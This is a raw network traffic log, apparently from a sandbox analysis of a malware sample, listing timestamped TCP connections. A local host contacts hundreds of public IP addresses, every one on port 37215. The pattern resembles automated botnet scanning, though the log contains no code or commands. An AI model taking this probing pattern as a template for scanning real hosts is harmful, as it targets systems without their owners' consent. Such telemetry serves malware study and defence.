Dec 30, 2024 11:58:09.311433077 CET	37328	37215	192.168.2.13	41.90.16.2
Dec 30, 2024 11:58:09.311759949 CET	53980	37215	192.168.2.13	156.243.189.25
Dec 30, 2024 11:58:09.312324047 CET	37215	49322	156.35.239.23	192.168.2.13
Dec 30, 2024 11:58:09.312376976 CET	49322	37215	192.168.2.13	156.35.239.23
Dec 30, 2024 11:58:09.312485933 CET	53972	37215	192.168.2.13	156.85.24.210
Dec 30, 2024 11:58:09.313257933 CET	37215	50944	41.45.201.183	192.168.2.13
Dec 30, 2024 11:58:09.313299894 CET	50944	37215	192.168.2.13	41.45.201.183
Dec 30, 2024 11:58:09.313340902 CET	50230	37215	192.168.2.13	197.3.248.2
Dec 30, 2024 11:58:09.314148903 CET	37215	45372	156.142.49.103	192.168.2.13
Dec 30, 2024 11:58:09.314201117 CET	45372	37215	192.168.2.13	156.142.49.103
Dec 30, 2024 11:58:09.314297915 CET	48404	37215	192.168.2.13	197.248.163.191
Dec 30, 2024 11:58:09.314924002 CET	37215	38752	156.53.52.72	192.168.2.13
Dec 30, 2024 11:58:09.315037966 CET	38752	37215	192.168.2.13	156.53.52.72
Dec 30, 2024 11:58:09.315136909 CET	36166	37215	192.168.2.13	197.79.108.138
Dec 30, 2024 11:58:09.315690994 CET	37215	52454	197.243.215.210	192.168.2.13
Dec 30, 2024 11:58:09.315731049 CET	52454	37215	192.168.2.13	197.243.215.210
Dec 30, 2024 11:58:09.316490889 CET	37215	53980	156.243.189.25	192.168.2.13
Dec 30, 2024 11:58:09.316554070 CET	53980	37215	192.168.2.13	156.243.189.25
Dec 30, 2024 11:58:09.317246914 CET	37215	53972	156.85.24.210	192.168.2.13
Dec 30, 2024 11:58:09.317286968 CET	53972	37215	192.168.2.13	156.85.24.210
Dec 30, 2024 11:58:09.318135023 CET	37215	50230	197.3.248.2	192.168.2.13
Dec 30, 2024 11:58:09.318177938 CET	50230	37215	192.168.2.13	197.3.248.2
Dec 30, 2024 11:58:09.319122076 CET	37215	48404	197.248.163.191	192.168.2.13
Dec 30, 2024 11:58:09.319175959 CET	48404	37215	192.168.2.13	197.248.163.191
Dec 30, 2024 11:58:09.319958925 CET	37215	36166	197.79.108.138	192.168.2.13
Dec 30, 2024 11:58:09.320003986 CET	36166	37215	192.168.2.13	197.79.108.138
Dec 30, 2024 11:58:09.332029104 CET	49010	37215	192.168.2.13	41.80.233.254
Dec 30, 2024 11:58:09.332869053 CET	55072	37215	192.168.2.13	41.169.142.29
Dec 30, 2024 11:58:09.333621979 CET	46266	37215	192.168.2.13	197.28.233.183
Dec 30, 2024 11:58:09.334484100 CET	58040	37215	192.168.2.13	197.150.48.165
Dec 30, 2024 11:58:09.335305929 CET	47182	37215	192.168.2.13	197.76.50.224
Dec 30, 2024 11:58:09.336114883 CET	48458	37215	192.168.2.13	41.43.37.240
Dec 30, 2024 11:58:09.336848021 CET	37215	49010	41.80.233.254	192.168.2.13
Dec 30, 2024 11:58:09.336909056 CET	49010	37215	192.168.2.13	41.80.233.254
Dec 30, 2024 11:58:09.337063074 CET	40134	37215	192.168.2.13	156.31.35.111
Dec 30, 2024 11:58:09.337663889 CET	37215	55072	41.169.142.29	192.168.2.13
Dec 30, 2024 11:58:09.337726116 CET	55072	37215	192.168.2.13	41.169.142.29
Dec 30, 2024 11:58:09.337992907 CET	49316	37215	192.168.2.13	156.145.136.194
Dec 30, 2024 11:58:09.338413954 CET	37215	46266	197.28.233.183	192.168.2.13
Dec 30, 2024 11:58:09.338457108 CET	46266	37215	192.168.2.13	197.28.233.183
Dec 30, 2024 11:58:09.338897943 CET	48440	37215	192.168.2.13	197.177.210.99
Dec 30, 2024 11:58:09.339306116 CET	37215	58040	197.150.48.165	192.168.2.13
Dec 30, 2024 11:58:09.339346886 CET	58040	37215	192.168.2.13	197.150.48.165
Dec 30, 2024 11:58:09.339865923 CET	41770	37215	192.168.2.13	41.191.100.80
Dec 30, 2024 11:58:09.340099096 CET	37215	47182	197.76.50.224	192.168.2.13
Dec 30, 2024 11:58:09.340148926 CET	47182	37215	192.168.2.13	197.76.50.224
Dec 30, 2024 11:58:09.340750933 CET	33994	37215	192.168.2.13	41.105.190.52
Dec 30, 2024 11:58:09.340897083 CET	37215	48458	41.43.37.240	192.168.2.13
Dec 30, 2024 11:58:09.340967894 CET	48458	37215	192.168.2.13	41.43.37.240
Dec 30, 2024 11:58:09.341569901 CET	48388	37215	192.168.2.13	197.253.100.253
Dec 30, 2024 11:58:09.341846943 CET	37215	40134	156.31.35.111	192.168.2.13
Dec 30, 2024 11:58:09.341895103 CET	40134	37215	192.168.2.13	156.31.35.111
Dec 30, 2024 11:58:09.342396975 CET	41008	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.342796087 CET	37215	49316	156.145.136.194	192.168.2.13
Dec 30, 2024 11:58:09.342856884 CET	49316	37215	192.168.2.13	156.145.136.194
Dec 30, 2024 11:58:09.343157053 CET	46632	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.343699932 CET	37215	48440	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:09.343750954 CET	48440	37215	192.168.2.13	197.177.210.99
Dec 30, 2024 11:58:09.343945980 CET	34894	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.344686985 CET	37215	41770	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:09.344737053 CET	41770	37215	192.168.2.13	41.191.100.80
Dec 30, 2024 11:58:09.344918966 CET	35072	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.345556974 CET	37215	33994	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:09.345640898 CET	33994	37215	192.168.2.13	41.105.190.52
Dec 30, 2024 11:58:09.345720053 CET	34822	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.346295118 CET	37215	48388	197.253.100.253	192.168.2.13
Dec 30, 2024 11:58:09.346335888 CET	48388	37215	192.168.2.13	197.253.100.253
Dec 30, 2024 11:58:09.346467972 CET	51870	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.347115040 CET	37215	41008	197.144.208.34	192.168.2.13
Dec 30, 2024 11:58:09.347150087 CET	41008	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.347270012 CET	41938	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.347884893 CET	37215	46632	197.119.104.157	192.168.2.13
Dec 30, 2024 11:58:09.347924948 CET	46632	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.348093987 CET	49830	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.348687887 CET	37215	34894	156.197.244.74	192.168.2.13
Dec 30, 2024 11:58:09.348745108 CET	34894	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.348922968 CET	34748	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.349675894 CET	37215	35072	156.10.138.172	192.168.2.13
Dec 30, 2024 11:58:09.349721909 CET	35072	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.349833012 CET	47130	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.350552082 CET	37215	34822	197.153.6.73	192.168.2.13
Dec 30, 2024 11:58:09.350601912 CET	34822	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.350641012 CET	46098	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.351206064 CET	37215	51870	41.245.163.128	192.168.2.13
Dec 30, 2024 11:58:09.351252079 CET	51870	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.351533890 CET	35738	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.352036953 CET	37215	41938	156.87.111.8	192.168.2.13
Dec 30, 2024 11:58:09.352077961 CET	41938	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.352461100 CET	38288	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.352849960 CET	37215	49830	41.93.37.249	192.168.2.13
Dec 30, 2024 11:58:09.352890968 CET	49830	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.353383064 CET	54854	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.353652954 CET	37215	34748	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:09.353701115 CET	34748	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.354238987 CET	49808	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.354603052 CET	37215	47130	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:09.354660988 CET	47130	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.355132103 CET	38134	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.355393887 CET	37215	46098	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:09.355453968 CET	46098	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.355918884 CET	45528	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.356239080 CET	37215	35738	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:09.356286049 CET	35738	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.356683016 CET	59916	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.357268095 CET	37215	38288	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:09.357347965 CET	38288	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.357553959 CET	36242	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.358134985 CET	37215	54854	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:09.358175039 CET	54854	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.358334064 CET	33746	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.359042883 CET	37215	49808	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:09.359097958 CET	49808	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.359191895 CET	40074	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.359900951 CET	37215	38134	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:09.359906912 CET	47100	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.359944105 CET	38134	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.360654116 CET	44880	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.360699892 CET	37215	45528	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:09.360765934 CET	45528	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.361445904 CET	37215	59916	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:09.361499071 CET	59916	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.361501932 CET	54158	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.362289906 CET	39678	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.362307072 CET	37215	36242	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:09.362345934 CET	36242	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.363056898 CET	37215	33746	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:09.363101006 CET	33746	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.363154888 CET	48302	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.363854885 CET	38152	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.363902092 CET	37215	40074	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:09.363941908 CET	40074	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.364603996 CET	55758	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.364720106 CET	37215	47100	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:09.364772081 CET	47100	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.365381956 CET	57010	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.365422010 CET	37215	44880	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:09.365466118 CET	44880	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.366111994 CET	45138	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.366286993 CET	37215	54158	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:09.366331100 CET	54158	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.366935968 CET	39116	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.367011070 CET	37215	39678	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:09.367065907 CET	39678	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.367749929 CET	52442	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.367953062 CET	37215	48302	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:09.367991924 CET	48302	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.368566990 CET	35958	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.368573904 CET	37215	38152	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:09.368622065 CET	38152	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.369348049 CET	33578	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.369416952 CET	37215	55758	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:09.369462967 CET	55758	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.370192051 CET	37215	57010	197.31.42.248	192.168.2.13
Dec 30, 2024 11:58:09.370263100 CET	41620	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.370271921 CET	57010	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.370872021 CET	37215	45138	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:09.370913982 CET	45138	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.371056080 CET	59460	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.371738911 CET	37215	39116	156.57.20.178	192.168.2.13
Dec 30, 2024 11:58:09.371778965 CET	39116	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.371799946 CET	49644	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.372468948 CET	37215	52442	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:09.372498989 CET	53928	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.372528076 CET	52442	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.373337030 CET	37215	35958	156.122.179.59	192.168.2.13
Dec 30, 2024 11:58:09.373380899 CET	35958	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.373426914 CET	55510	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.374150038 CET	37215	33578	41.210.108.168	192.168.2.13
Dec 30, 2024 11:58:09.374191046 CET	33578	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.374224901 CET	52452	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.375053883 CET	37215	41620	156.249.168.197	192.168.2.13
Dec 30, 2024 11:58:09.375103951 CET	54522	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.375108957 CET	41620	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.375782967 CET	37215	59460	156.235.175.169	192.168.2.13
Dec 30, 2024 11:58:09.375822067 CET	59460	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.375844002 CET	51946	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.376550913 CET	37215	49644	156.6.167.142	192.168.2.13
Dec 30, 2024 11:58:09.376593113 CET	49644	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.376656055 CET	34808	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:09.377326012 CET	37215	53928	156.37.158.107	192.168.2.13
Dec 30, 2024 11:58:09.377378941 CET	53928	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.377476931 CET	57376	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:09.378247023 CET	42932	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:09.378249884 CET	37215	55510	197.21.94.66	192.168.2.13
Dec 30, 2024 11:58:09.378297091 CET	55510	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.378953934 CET	37215	52452	156.249.232.17	192.168.2.13
Dec 30, 2024 11:58:09.378973007 CET	51352	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:09.378988981 CET	52452	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.379753113 CET	34612	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:09.379920959 CET	37215	54522	156.120.79.177	192.168.2.13
Dec 30, 2024 11:58:09.379954100 CET	54522	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.380562067 CET	55820	37215	192.168.2.13	156.54.127.16
Dec 30, 2024 11:58:09.380604982 CET	37215	51946	156.60.79.74	192.168.2.13
Dec 30, 2024 11:58:09.380665064 CET	51946	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.381257057 CET	37030	37215	192.168.2.13	41.90.249.247
Dec 30, 2024 11:58:09.381369114 CET	37215	34808	156.2.5.246	192.168.2.13
Dec 30, 2024 11:58:09.381422043 CET	34808	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:09.382019997 CET	33798	37215	192.168.2.13	197.101.199.18
Dec 30, 2024 11:58:09.382227898 CET	37215	57376	197.62.103.239	192.168.2.13
Dec 30, 2024 11:58:09.382265091 CET	57376	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:09.382852077 CET	39802	37215	192.168.2.13	197.160.191.181
Dec 30, 2024 11:58:09.383007050 CET	37215	42932	197.191.64.62	192.168.2.13
Dec 30, 2024 11:58:09.383038998 CET	42932	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:09.383621931 CET	58550	37215	192.168.2.13	41.85.61.39
Dec 30, 2024 11:58:09.383759975 CET	37215	51352	41.136.56.49	192.168.2.13
Dec 30, 2024 11:58:09.383799076 CET	51352	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:09.384594917 CET	37215	34612	156.64.101.67	192.168.2.13
Dec 30, 2024 11:58:09.384649992 CET	34612	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:09.385282040 CET	37215	55820	156.54.127.16	192.168.2.13
Dec 30, 2024 11:58:09.385325909 CET	55820	37215	192.168.2.13	156.54.127.16
Dec 30, 2024 11:58:09.386039019 CET	37215	37030	41.90.249.247	192.168.2.13
Dec 30, 2024 11:58:09.386080980 CET	37030	37215	192.168.2.13	41.90.249.247
Dec 30, 2024 11:58:09.386750937 CET	37215	33798	197.101.199.18	192.168.2.13
Dec 30, 2024 11:58:09.386806011 CET	33798	37215	192.168.2.13	197.101.199.18
Dec 30, 2024 11:58:09.387612104 CET	37215	39802	197.160.191.181	192.168.2.13
Dec 30, 2024 11:58:09.387676001 CET	39802	37215	192.168.2.13	197.160.191.181
Dec 30, 2024 11:58:09.388389111 CET	37215	58550	41.85.61.39	192.168.2.13
Dec 30, 2024 11:58:09.388430119 CET	58550	37215	192.168.2.13	41.85.61.39
Dec 30, 2024 11:58:09.399972916 CET	46500	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.400842905 CET	54352	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.401583910 CET	33834	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.402234077 CET	50544	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.403213978 CET	41748	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:09.403213978 CET	41748	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:09.403543949 CET	42004	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:09.404063940 CET	60198	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:09.404063940 CET	60198	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:09.404390097 CET	60454	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:09.404798031 CET	48962	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:09.404798985 CET	37215	46500	197.39.31.160	192.168.2.13
Dec 30, 2024 11:58:09.404798031 CET	48962	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:09.404844046 CET	46500	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.405106068 CET	49218	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:09.405513048 CET	39968	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:09.405513048 CET	39968	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:09.405550957 CET	37215	54352	156.181.91.78	192.168.2.13
Dec 30, 2024 11:58:09.405603886 CET	54352	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.405926943 CET	40224	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:09.406331062 CET	37215	33834	156.125.177.5	192.168.2.13
Dec 30, 2024 11:58:09.406387091 CET	33834	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.406393051 CET	51962	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:09.406393051 CET	51962	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:09.406677008 CET	52218	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:09.406986952 CET	37215	50544	197.206.63.90	192.168.2.13
Dec 30, 2024 11:58:09.407025099 CET	50544	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.407114029 CET	45546	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:09.407114029 CET	45546	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:09.407516003 CET	45802	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:09.407908916 CET	34260	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:09.407908916 CET	34260	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:09.407988071 CET	37215	41748	156.66.117.24	192.168.2.13
Dec 30, 2024 11:58:09.408219099 CET	34516	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:09.408291101 CET	37215	42004	156.66.117.24	192.168.2.13
Dec 30, 2024 11:58:09.408328056 CET	42004	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:09.408648968 CET	51388	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:09.408648968 CET	51388	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:09.408843994 CET	37215	60198	197.213.129.24	192.168.2.13
Dec 30, 2024 11:58:09.409056902 CET	51644	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:09.409128904 CET	37215	60454	197.213.129.24	192.168.2.13
Dec 30, 2024 11:58:09.409166098 CET	60454	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:09.409508944 CET	44576	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:09.409508944 CET	44576	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:09.409626961 CET	37215	48962	156.154.160.13	192.168.2.13
Dec 30, 2024 11:58:09.409802914 CET	44832	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:09.409909964 CET	37215	49218	156.154.160.13	192.168.2.13
Dec 30, 2024 11:58:09.409945965 CET	49218	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:09.410305023 CET	42242	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:09.410305023 CET	42242	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:09.410367012 CET	37215	39968	41.116.48.51	192.168.2.13
Dec 30, 2024 11:58:09.410679102 CET	42498	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:09.410729885 CET	37215	40224	41.116.48.51	192.168.2.13
Dec 30, 2024 11:58:09.410772085 CET	40224	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:09.411108971 CET	34922	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:09.411108971 CET	34922	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:09.411201000 CET	37215	51962	197.145.123.247	192.168.2.13
Dec 30, 2024 11:58:09.411434889 CET	37215	52218	197.145.123.247	192.168.2.13
Dec 30, 2024 11:58:09.411442995 CET	35178	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:09.411477089 CET	52218	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:09.411839008 CET	37215	45546	197.10.122.150	192.168.2.13
Dec 30, 2024 11:58:09.411871910 CET	49692	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:09.411871910 CET	49692	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:09.412164927 CET	49948	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:09.412226915 CET	37215	45802	197.10.122.150	192.168.2.13
Dec 30, 2024 11:58:09.412292957 CET	45802	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:09.412689924 CET	33168	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:09.412689924 CET	33168	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:09.412703037 CET	37215	34260	156.19.251.73	192.168.2.13
Dec 30, 2024 11:58:09.412991047 CET	37215	34516	156.19.251.73	192.168.2.13
Dec 30, 2024 11:58:09.413037062 CET	34516	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:09.413093090 CET	33424	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:09.413419962 CET	37215	51388	41.100.232.209	192.168.2.13
Dec 30, 2024 11:58:09.413603067 CET	42792	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:09.413603067 CET	42792	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:09.413750887 CET	37215	51644	41.100.232.209	192.168.2.13
Dec 30, 2024 11:58:09.413801908 CET	51644	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:09.413868904 CET	43048	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:09.414235115 CET	37215	44576	156.208.82.65	192.168.2.13
Dec 30, 2024 11:58:09.414319992 CET	37976	37215	192.168.2.13	197.127.113.212
Dec 30, 2024 11:58:09.414319992 CET	37976	37215	192.168.2.13	197.127.113.212
Dec 30, 2024 11:58:09.414541960 CET	37215	44832	156.208.82.65	192.168.2.13
Dec 30, 2024 11:58:09.414580107 CET	44832	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:09.414640903 CET	38232	37215	192.168.2.13	197.127.113.212
Dec 30, 2024 11:58:09.415080070 CET	37215	42242	156.218.41.66	192.168.2.13
Dec 30, 2024 11:58:09.415100098 CET	42864	37215	192.168.2.13	41.141.245.214
Dec 30, 2024 11:58:09.415100098 CET	42864	37215	192.168.2.13	41.141.245.214
Dec 30, 2024 11:58:09.415415049 CET	43120	37215	192.168.2.13	41.141.245.214
Dec 30, 2024 11:58:09.415472984 CET	37215	42498	156.218.41.66	192.168.2.13
Dec 30, 2024 11:58:09.415529013 CET	42498	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:09.415827990 CET	50402	37215	192.168.2.13	156.4.47.247
Dec 30, 2024 11:58:09.415827990 CET	50402	37215	192.168.2.13	156.4.47.247
Dec 30, 2024 11:58:09.415833950 CET	37215	34922	156.115.166.195	192.168.2.13
Dec 30, 2024 11:58:09.416161060 CET	50658	37215	192.168.2.13	156.4.47.247
Dec 30, 2024 11:58:09.416218042 CET	37215	35178	156.115.166.195	192.168.2.13
Dec 30, 2024 11:58:09.416256905 CET	35178	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:09.416671038 CET	43280	37215	192.168.2.13	156.222.193.117
Dec 30, 2024 11:58:09.416673899 CET	37215	49692	41.74.205.213	192.168.2.13
Dec 30, 2024 11:58:09.416676998 CET	43280	37215	192.168.2.13	156.222.193.117
Dec 30, 2024 11:58:09.416913033 CET	37215	49948	41.74.205.213	192.168.2.13
Dec 30, 2024 11:58:09.416951895 CET	43536	37215	192.168.2.13	156.222.193.117
Dec 30, 2024 11:58:09.416968107 CET	49948	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:09.417412043 CET	59844	37215	192.168.2.13	156.250.122.117
Dec 30, 2024 11:58:09.417412043 CET	59844	37215	192.168.2.13	156.250.122.117
Dec 30, 2024 11:58:09.417459011 CET	37215	33168	156.198.240.187	192.168.2.13
Dec 30, 2024 11:58:09.417754889 CET	60100	37215	192.168.2.13	156.250.122.117
Dec 30, 2024 11:58:09.417825937 CET	37215	33424	156.198.240.187	192.168.2.13
Dec 30, 2024 11:58:09.417866945 CET	33424	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:09.418126106 CET	46578	37215	192.168.2.13	156.24.249.131
Dec 30, 2024 11:58:09.418126106 CET	46578	37215	192.168.2.13	156.24.249.131
Dec 30, 2024 11:58:09.418432951 CET	37215	42792	156.213.8.113	192.168.2.13
Dec 30, 2024 11:58:09.418447971 CET	46834	37215	192.168.2.13	156.24.249.131
Dec 30, 2024 11:58:09.418646097 CET	37215	43048	156.213.8.113	192.168.2.13
Dec 30, 2024 11:58:09.418684006 CET	43048	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:09.418814898 CET	44674	37215	192.168.2.13	197.248.84.7
